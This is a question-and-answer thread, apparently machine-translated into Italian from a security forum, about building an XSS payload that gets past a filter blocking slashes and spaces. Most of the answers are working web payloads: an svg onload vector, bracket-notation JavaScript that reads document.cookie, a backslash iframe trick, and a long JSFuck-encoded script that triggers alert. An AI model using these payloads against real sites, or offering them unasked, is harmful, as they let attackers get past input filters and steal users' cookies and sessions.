Che cos'è un buon vettore XSS senza barre e spazi in avanti?

11

Ho bisogno di un vettore XSS che non usi barre o spazi. Ho esaminato elenchi di centinaia di vettori, ma di solito hanno uno di questi due. Lo spazio ottiene la codifica URL e qualsiasi cosa dopo che una barra viene eliminata.

Ho provato cose come <script\src=*> , ma avresti bisogno di una barra in avanti per farlo funzionare dalla mia comprensione.

    
posta Michael Blake 27.12.2013 - 01:31
fonte

3 risposte

25

Nessuno spazio ... nessuna barra:

<svg•onload=alert(1)>

Guarda come viene eseguito qui: link

    
risposta data 30.12.2013 - 21:53
fonte
8

È difficile trovare un vettore senza avere l'effettiva vulnerabilità di fronte a me, ma in passato, quando ho affrontato tali problemi, sono passato al modo non alfanumerico di sfruttarlo. Questo blog ha un'ottima descrizione di come è fatto. Alcuni vettori sono presenti in questo pastie .

Immagino che tu abbia un modo per eseguire gli script, ma hai solo bisogno del payload corretto da eseguire. Dal blog di cui sopra:

Since JavaScript has two different syntactic forms to access properties, you can access an Object method like a dictionary:

object.method(arguments) === object["method"](arguments)

Quindi, con questo metodo, il tuo carico utile potrebbe essere qualcosa del tipo:

this["alert"]("xss")

Se vuoi estrarre il cookie, puoi anche usare

this["alert"](this["document"]["cookie"])

L'utilizzo di uno di questi metodi dovrebbe probabilmente farti ottenere l'esecuzione del codice che stai cercando. Questi non hanno spazi o barre - pensavo avresti ancora bisogno di essere all'interno di un attributo di qualche tipo, o dovresti avere la possibilità di includerlo in <script> tag. In alcuni browser, potresti provare qualcosa come <script>{your vector}<script> , e potrebbe funzionare (ricordo che ha funzionato per me su IE qualche tempo fa)

EDIT: se questo è solo un proof of concept per una vulnerabilità di validazione dell'input, potresti anche incorporare un iFrame. Di nuovo, a seconda del browser, iFrame non hanno bisogno di tag di chiusura. quindi <iframe\src='www.google.com'> potrebbe semplicemente fare il lavoro.

    
risposta data 27.12.2013 - 02:02
fonte
4

So di essere un po 'in ritardo per la festa, ma c'è un altro vettore efficace. Codifica del carico utile. Ecco un payload di esempio che attiva un avviso:

<script>[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()</script>

Il jsfiddle è qui . Niente spazi, niente di niente. Il payload è composto da sei caratteri, ![]+() . Nessuno spazio coinvolto.

Puoi codificare il carico utile utilizzando questo strumento .

    
risposta data 24.12.2016 - 09:11
fonte

Leggi altre domande sui tag